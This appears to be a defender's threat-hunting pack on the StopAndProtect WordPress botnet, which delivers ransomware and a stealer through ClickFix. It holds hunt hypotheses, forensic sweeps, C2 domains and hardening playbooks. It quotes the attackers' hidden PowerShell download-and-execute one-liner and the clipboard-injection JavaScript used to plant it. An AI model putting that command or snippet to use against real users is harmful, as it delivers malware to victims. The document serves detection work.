StopAndProtect — WordPress Botnet, ClickFix Ransomware & Data-Theft Operation

Check Point Research disclosed StopAndProtect on 2026-08-18: a criminal operation that has hijacked nearly 2,000 compromised WordPress sites and turned them into a rotating pool of command-and-control and distribution infrastructure. An operational-security failure by the operator — an exposed staging server with directory listings enabled — let researchers pull internal infection logs, roughly 31,000 exfiltrated victim screenshots, and the actor's own source code. Those logs place more than 6,000 unique victim IP addresses on the board as of 2026-07-24, concentrated in the United States (1,852), Russia (630), and India (630).

The infection chain starts with ClickFix: a fake CAPTCHA overlay on a compromised WordPress site instructs the visitor to open the Windows Run dialog and paste a command, which launches a hidden, execution-policy-bypassed PowerShell one-liner (IEX((New-Object Net.WebClient).DownloadString('https://<C&C>/vcapcha.ps1'))) — a Win+R "paste and run" pattern with no file argument on the command line. That script chains into a second PowerShell stage, then two .NET downloader/loader stages, before dropping whichever payload modules the operator has staged: SilentEncryptor (double-extortion ransomware whose key derivation embeds the per-file password and machine name in the renamed encrypted filename), SilentDataCollector (a credential/document/screenshot stealer with a keylogger and WhatsApp-contact-exfiltration feature), LockScreen (blocks input, shows a payment QR code), NetworkShareScanner (an SMB/USB worm module), a VBS spreader (removable-media and WMI-based lateral movement), and SimpleChatProxy (a bespoke victim/operator chat channel). Notably, StopAndProtect does not always deploy ransomware — in many cases the operator silently inventories and exfiltrates files first and decides monetization on a per-victim basis, consistent with hands-on-keyboard activity Check Point observed directly in exfiltrated WhatsApp-search screenshots.

On the WordPress side, persistence rides on a hidden must-use plugin (wp-content/mu-plugins/wp-sec.php) that exposes an unauthenticated-looking REST upload endpoint, plus a single-file PHP web shell (wp-cssv.php) and a "verify" plugin (verify.php/store.php/proxy.php/stored_url.txt) that renders the fake CAPTCHA itself and reports statistics back to the operator. One analyzed compromised site had gone unpatched since 2021 with roughly 40 known vulnerabilities — outdated WordPress installations are the entry vector, not a novel WordPress zero-day.

Defender priority: This is a social-engineering attack — EDR prevention policy will not stop a user who was told to paste the command, so detection has to center on the two behavioral chokepoints in this pack: (1) explorer.exe parenting a hidden, policy-bypassed powershell.exe with no -File argument (Section 8, Q1–Q3), and (2) the PowerShell→.NET downloader chain writing and executing a new binary from a user-writable path (Q4). Atomic IOCs (Section 4/10) are worth deploying today but are perishable — the WordPress-hosted C2 domains and mu-plugin backdoors are likely to rotate or be taken down quickly following public disclosure.

Five sources were targeted for this pack. Four were successfully fetched and saved verbatim (or, where direct fetch was bot-blocked, retrieved through a fallback fetch path and saved with that method noted) to the pack's source-snapshot directory for provenance tracing. All four were reviewed for prompt-injection or untrusted directives before use; none were found. One source was inaccessible and dropped — see below.

Dropped source: databreaches.net returned an HTTP 403 Cloudflare bot-detection block on both a direct fetch attempt and a fallback fetch attempt. This is a plain access failure, not adversarial content encountered in a retrieved page — no content was ever retrieved from this URL, so there was nothing to screen for injected instructions. It is dropped from citations; no claim or IOC in this pack relies on it.

Note on a hash discrepancy caught during provenance verification: the SilentDataCollector (credential stealer) SHA256 supplied in the initial build brief for this pack (ending ...3cd7e4a1eb365f...) did not match the value in the primary Check Point source when checked byte-for-byte against the raw page capture. The verified, source-correct value — 23cbabfe3ca3a7f1eb365f772d6a4ed8095cb8f7755622cc82e804478259dc70 — is what ships in this pack (Section 4/10). This is flagged explicitly because it is exactly the kind of single-character transcription drift the provenance gate exists to catch.

Hunt Hypotheses (ordered by fidelity)

1. [High] explorer.exe (Run dialog) directly parents a hidden, execution-policy-bypassed powershell.exe/pwsh.exe with an inline download-and-execute command and no -File argument — the ClickFix detonation moment. Covers T1204.004, T1059.001, T1564.003, T1562.001. Maps to Q1.
2. [High] The pasted command is recoverable from the RunMRU registry key even after process telemetry ages out. Covers T1204.004. Maps to Q2.
3. [High] A command line or on-disk file references the campaign's known entry-script name, vcapcha.ps1. Covers T1204.004, T1105. Maps to Q3.
4. [High] A process image or written file matches one of the 21 confirmed StopAndProtect stage hashes (PowerShell stages, .NET loaders, and all six payload modules). Covers T1105, T1486, T1490, T1039, T1091. Maps to Q5.
5. [High] A host resolves or connects to one of the five confirmed WordPress-hosted base C2 domains. Covers T1071.001, T1102. Maps to Q6.
6. [Medium] PowerShell writes and/or executes a new PE from a user-writable directory — the PowerShell→.NET downloader/loader chain's detonation step. Covers T1105, T1027, T1059.001. Maps to Q4.
7. [Medium] A host shows a mass file-rename/encryption volume spike, optionally paired with a shadow-copy-deletion or recovery-inhibition command — SilentEncryptor's impact stage. Covers T1486, T1490. Maps to Q7, Q8.
8. [Medium] A host performs SMB-share or removable-media discovery consistent with the NetworkShareScanner worm module, or WmiPrvSE.exe spawns a script/command interpreter consistent with the VBS spreader's WMI-based lateral movement. Covers T1135, T1120, T1039, T1047, T1091. Maps to Q9, Q10.
9. [Medium — organization-hosted WordPress only] A Linux/web-server host running a Falcon sensor writes one of the named attacker PHP artifacts or the stored_url.txt marker file — evidence the organization's own WordPress site is being used as StopAndProtect infrastructure, not just that an employee visited one. Covers T1505.003, T1190. Maps to Q11.

Attack Chain

Illustrative ClickFix command excerpted from the primary source (Check Point Research), shown for detection-engineering purposes — this is not exploit code, it is the exact shape defenders need to recognize:

const command = `powershell -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString('https://<C&C>/vcapcha.ps1'))`;
navigator.clipboard.writeText(command)   // silently placed on the victim's clipboard by the fake CAPTCHA page

These checks cover surfaces Falcon does not natively tag with a dedicated event (Section 5 gaps) or that are faster to run directly than to wait on telemetry ingestion. Run them alongside the CQL queries in Section 8, not instead of them.

Windows Run-dialog forensic residue and manual C2 egress check

# RunMRU -- survives after process telemetry ages out; recovers the FULL pasted string
Get-ItemProperty 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' | Format-List

# Manual DNS resolution check against the five confirmed C2 domains
foreach ($d in @('v-k.com.ua','www.lapellelaser.pl','www.parsrulman.com','mectcalcutta.com','discherniation.com')) {
  Resolve-DnsName $d -ErrorAction SilentlyContinue
}

Ransom-note / renamed-file sweep (best-effort heuristic)

Check Point states the per-file password and machine name are embedded in the renamed encrypted filename, but does not publish the exact format string. Treat the pattern below as a starting heuristic to triage, not a guaranteed match — confirm any hits by hand.

Get-ChildItem -Path C:\Users -Recurse -ErrorAction SilentlyContinue |
  Where-Object { $_.Name -match '^[A-Za-z0-9]{10,}[_-][A-Za-z0-9\-]+\.[A-Za-z0-9]{2,6}$' -and $_.LastWriteTime -gt (Get-Date).AddDays(-7) } |
  Select-Object -First 200 FullName, LastWriteTime

Organization-hosted WordPress artifact sweep (only if you self-host WordPress — run via SSH/WP-CLI or an EDR script deployment)

# Known attacker PHP artifacts and marker file
find /var/www -type f \( \
  -name 'dwnen.php' -o -name 'mu-uploader-installer.php' -o -name 'wp-sec.php' -o \
  -name 'verify.php' -o -name 'store.php' -o -name 'proxy.php' -o \
  -name 'wp-uploading.php' -o -name 'wp-delete.php' -o -name 'wp-cssv.php' -o \
  -name 'wp-verifyup.php' -o -name 'stored_url.txt' -o -name 'activator.php' \
\) -print 2>/dev/null

# Hidden must-use plugin directory -- MU plugins load automatically with no admin-panel activation step
ls -la /var/www/*/wp-content/mu-plugins/ 2>/dev/null
grep -rl "wp-sec/v1/upload" /var/www/*/wp-content/ 2>/dev/null

# WordPress core/plugin currency (unpatched WordPress was the entry vector)
wp core version --path=/var/www/site 2>/dev/null
wp plugin list --update=available --path=/var/www/site 2>/dev/null

Promote the exact-match, low-FP queries to real-time Custom IOA rules. Keep the behavioral/aggregation queries as scheduled hunt searches — Q7's aggregation can't be expressed as a single-event IOA, and Q1/Q4/Q9/Q10 need an FP-tuning pass against your fleet before running unattended.

Q1 (ClickFix explorer.exe→PowerShell), Q4 (downloader chain), Q9 (SMB/USB discovery), and Q10 (WMI lateral movement) stay Investigate-only until FP-tuned against your fleet's known admin, RMM, and backup tooling. Q2 (RunMRU) and Q7 (mass file-touch aggregation) stay scheduled searches — registry-forensic recovery and cross-event aggregation are better suited to periodic hunting than real-time IOA evaluation.

This is a social-engineering attack with a multi-payload back end — there is no single patch. Hardening here targets the delivery mechanism (Run-dialog paste execution), the WordPress compromise vector for any organization-hosted sites, and the downstream ransomware/exfiltration impact.

Playbook 1 — Disable Win+R / Run dialog and enable the two ASR rules (Windows, GPO)

Prerequisites: Domain Admin or GPO-edit rights; a test OU to pilot the policy before fleet-wide rollout; Microsoft Defender for Endpoint / Defender AV in active mode for the ASR rules.
Reboot required: No (policy refresh via `gpupdate /force` and a logoff/logon is sufficient).
Rollback: Set NoRun and NoWinKeys back to 0 (or remove the GPO link) and set the two ASR rule GUIDs to Audit or Not Configured; changes apply on the next policy refresh with no other endpoint state affected.

1. Create or edit a GPO scoped to standard-user OUs (exclude IT/helpdesk/admin OUs where Run-dialog use is legitimate).
2. Under Computer Configuration > Preferences > Windows Settings > Registry, add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun = 1 (DWORD) and NoWinKeys = 1 (DWORD).
3. Under Microsoft Defender / Endpoint Security policy, set Attack Surface Reduction rules 5beb7efe-fd9a-4556-801d-275e5ffc04cc and d1e49aac-8f56-4280-b9ba-993a6d77406c to Block. Start in Audit mode for one week on the pilot OU if you have not previously baselined these rules.
4. Link the GPO to the pilot OU; run `gpupdate /force` on a test machine and confirm via `Get-ItemProperty` and `Get-MpPreference`.
5. Confirm Win+R no longer opens the Run dialog for a standard-user test account, and that admin/helpdesk OUs are unaffected.
6. Expand the GPO link to the full standard-user OU structure after a successful pilot week with no help-desk ticket spike.

Playbook 2 — DNS/proxy block on the five confirmed C2 domains (network)

Prerequisites: admin access to the organization's DNS sinkhole, secure web gateway, or firewall DNS-filtering policy.
Reboot required: No.
Rollback: Remove the five blocklist entries; no endpoint state is changed by this control.

1. Add v-k.com.ua, www.lapellelaser.pl, www.parsrulman.com, mectcalcutta.com, discherniation.com to the DNS sinkhole/SWG blocklist.
2. If your gateway supports category/reputation feeds, also flag the domains for the threat-intel feed update cycle so future infrastructure sharing the same hosting pattern is caught faster.
3. Validate: attempt DNS resolution of each domain from a managed test endpoint; confirm it fails closed or resolves to the sinkhole address.
4. Confirm no legitimate business traffic depends on any of the five domains (expected: none — they are compromised third-party WordPress sites) before considering the block permanent.

Playbook 3 — WordPress artifact sweep and remediation (self-hosted WordPress only)

Prerequisites: SSH or WP-CLI access to the WordPress host; a recent, verified-clean backup to restore from if compromise is confirmed.
Reboot required: No (web-server process reload only, if PHP-FPM/Apache/Nginx config changes).
Rollback: N/A for the sweep itself (read-only); if remediation actions are taken (file deletion, plugin removal), rollback is restoring the pre-remediation backup.

1. Run the Section 7 `find` command against the WordPress install root for the twelve named attacker filenames.
2. Run `ls -la wp-content/mu-plugins/` and manually review every file present — MU plugins have no admin-panel toggle, so an unrecognized file here is a strong compromise signal by itself.
3. If any artifact is found: take the site offline or place it in maintenance mode, preserve the artifact files and web-server access logs as evidence, then remove the artifacts and any unrecognized plugin/theme files.
4. Update WordPress core and all plugins to current versions (`wp core update`, `wp plugin update --all`).
5. Rotate all WordPress admin credentials and any API keys/tokens stored in the compromised install.
6. Restore from the last known-clean backup if the extent of the compromise (e.g. database-level tampering) cannot be fully characterized by file-level remediation alone.
7. Re-run the Section 7 sweep post-remediation; zero hits is the exit criterion.

Two gaps are structural: browser-DOM-level fake-CAPTCHA rendering (Step 1 of the attack chain) is not endpoint-visible by design — no query in this pack can cover it, only upstream web/DNS filtering and user training can. SilentDataCollector's screen-capture and keylogging behaviors have no dedicated Falcon event in the current data-model reference, so coverage there is limited to the exact-hash match (Q5) rather than a behavioral detection. All validation gates in Section 11 apply to every query above before promotion from Investigate to alerting.

Verbatim (or, where noted, fallback-fetched) source snapshots saved to StopAndProtect-WordPress-Botnet-Hunt-sources/ for provenance verification of every atomic IOC in Section 4/10. The dropped source (databreaches.net, inaccessible) is documented there as well.